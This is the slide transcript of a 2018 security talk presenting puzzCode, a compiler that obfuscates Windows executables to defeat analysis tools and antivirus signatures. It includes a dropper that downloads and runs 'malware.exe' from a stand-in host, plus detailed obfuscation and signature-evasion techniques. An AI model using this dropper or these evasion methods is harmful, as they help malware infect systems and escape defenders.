Upgrade to Pro — share decks privately, control downloads, hide ads and more …

puzzCode: Make Backdoors Great Again!

229b1596ce57cd0935a2bacd410d87a0?s=47 adr
March 18, 2018

puzzCode: Make Backdoors Great Again!

puzzCode is a simple compiler based on mingw, written in C# to build windows applications in such a way that they can't be analysed by standard analysis tools (e.g. IDA, Ollydbg, x64dbg, Snowman Decompiler, etc.)

puzzCode is based on MinGW to compile C/C++ source code to assembly language while also obfuscating every instruction. puzzCode transforms each original instruction into obfuscated code by breaking each function into countless pieces.

The most important thing is that the executable (exe) file, once compiled by puzzCode will be undetectable by antivirus as it effectively will create a completely new application.

229b1596ce57cd0935a2bacd410d87a0?s=128

adr

March 18, 2018
Tweet

More Decks by adr

Other Decks in Technology

Transcript

  1. puzzCode: Make Backdoors Great Again! aaaddress1@chroot.org

  2. Here's the 2 main points of this presentation

  3. 1. How to defend malware against analysis 2. How to

    bypass malware signature Here's the 2 main points of this presentation
  4. How is a malware made?

  5. #include <urlmon.h> #include <Windows.h> #pragma comment(lib, "urlmon.lib") int main(int argc,

    char* argv[]) { URLDownloadToFileA ( NULL, "http://hack.com/?file=malware.exe", "malware.exe", 0, NULL ); system("malware.exe"); return 0; } dropper.c
  6. ; int __cdecl main(int argc, const char **argv, const char

    **envp) push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALLBACK push 0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com/?file=malware.exe" push 0 ; LPUNKNOWN call URLDownloadToFileA push offset command ; "malware.exe" call _system add esp, 4 xor eax, eax pop ebp retn dropper.asm
  7. ; int __cdecl main(int argc, const char **argv, const char

    **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 push 0x406060 // 68 60 60 40 00 call _system // E8 07 00 00 00 add esp, 4 // 83 C4 04 xor eax, eax // 33 C0 pop ebp // 5D retn // C3 dropper.asm → Native Code
  8. dropper.asm → Native Code →exe DOS Program ⋯⋯ HT Header

    .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... ; int __cdecl main(int argc, const char **argv, const char **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 ...
  9. What Reseachers Can Do, DOS Program ⋯⋯ NT Header .text

    Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... If They Get A EXE File like This?
  10. How Researcher Analyze A Malware?

  11. 1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi:

    www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?
  12. 1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi:

    www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?
  13. Question 1) How Does Static Analysis Tools Work?

  14. How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header

    .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file
  15. push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALL push

    0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com push 0 ; LPUNKNOWN How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file And transform opcodes into assembly instructions
  16. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions
  17. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions Compiler Should follow C/C++ Calling Convention to Generate Assembly Instructions!
  18. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions therefore, it's easy for analysis tools, just follow calling convention, and turn it back to C/C++ codes, ...Right?
  19. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions If Hackers Call a function, but they don't want to follow calling convention syntax? :P
  20. msgbox.c IDA Pro #include <Windows.h> const char *lptext = "hi

    there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } //MessageBoxA(0, lptext, lptitl, 0); return 0; }
  21. msgbox.c IDA Pro #include <Windows.h> const char *lptext = "hi

    there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } return 0; }
  22. msgbox.c IDA Pro int main() { __asm { push 0

    call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...
  23. msgbox.c IDA Pro int main() { __asm { push 0

    call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...
  24. - Pack each instructions into new function-like gadgets - Breaking

    each function call syntax into countless pieces - Insert some useless codes into original instrctions 1. nop 2. lodsb 3. mov edi, edi ...etc - Turn Original Instrctions into Similar Codes Set 4. mov eax, ebx => push ebx; pop eax 5. push 0 => sub esp, 4; mov [esp], 0 6. sub esp, 4 => lea esp, [esp-4] Core Idea
  25. Question 2) How to bypass Malware Signature Check?

  26. ./shellBlog.c #include <stdio.h> void malFunc(void) { char malData[] = "explorer

    http://30cm.tw"; system(malData); /* display my blog :P */ } int main(void) { malFunc(); }
  27. ./shellBlog.c .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov

    ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " .text:0040161B mov [ebp - 0x14], 0x2F2F3A70 // "//:p" .text:00401622 mov [ebp - 0x10], 0x6D633033 // "mc03" .text:00401629 mov [ebp - 0x0C], 0x0077742E // "wt." .text:00401630 lea eax, [ebp - 0x20] .text:00401633 mov [esp], eax ; Command .text:00401636 call system .text:0040163C leave .text:0040163D retn
  28. ./shellBlog.exe MicroSoft Protable Executable File (*.exe)

  29. ./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯

  30. ./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc

    55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "
  31. ./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc

    55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " bool chkVirus(PBYTE mem) { /* 55 - push ebp 8b ec - mov ebp, esp 81 EC 38 00 00 00 - sub esp,00000038 */ char Signature[] = "\x55\x8B\xEC\x81\xEC\x38\x00"; return !strncmp((char *)mem+offset, Signature, 7); }
  32. ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc

    ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk
  33. ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc

    ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk If malicious function of the same source code change every time after compiled, it'll be a big challenge for nowadays Anti-Virus :)
  34. puzzCode: A Compiler Designed to Build Your Backdoors!

  35. General Compiler Source.cpp Object Files Main.exe Compiler Assembly Codes Assembler

    Linker
  36. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler

    Linker
  37. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler

    Linker Scanning Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... Get Functions of those Codes
  38. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } __asm { push 0 call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } Obfuscate Spatially
  39. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 nop push lptitl lodsb push lptext mov edi, edi push 0 call MessageBoxA } __asm { push 0 nop call func_00; ret func_00: lodsb add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext mov edi, edi call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA Obfuscate with Junk Codes
  40. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { sub esp, 4 mov [esp], 0 push lptitl push lptext sub esp, 4 mov [esp], 0 call MessageBoxA } Obfuscate with Similar Instructions __asm { lea esp, [esp-0x10] mov [esp+0x0c], 0 mov [esp+0x08], lptitl mov [esp+0x04], lptext mov [esp+0x00], 0 push retn push MessageBoxA ret retn: }
  41. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler

    Linker Assembly Codes Confused
  42. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes MinGW

    Assembler Linker Assembly Codes Confused
  43. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes MinGW

    Assembler MinGW Linker Assembly Codes Confused
  44. puzzCode

  45. puzzCode

  46. puzzCode (Clear)

  47. puzzCode (Confused)

  48. puzzCode (x64 Debugger)

  49. puzzCode

  50. puzzCode (Snowman)

  51. puzzCode

  52. puzzCode You Can Compile different *.exe With the same source

    codes
  53. Thanks! aaaddress1@chroot.org @aaaddress1 Project PuzzCode Slides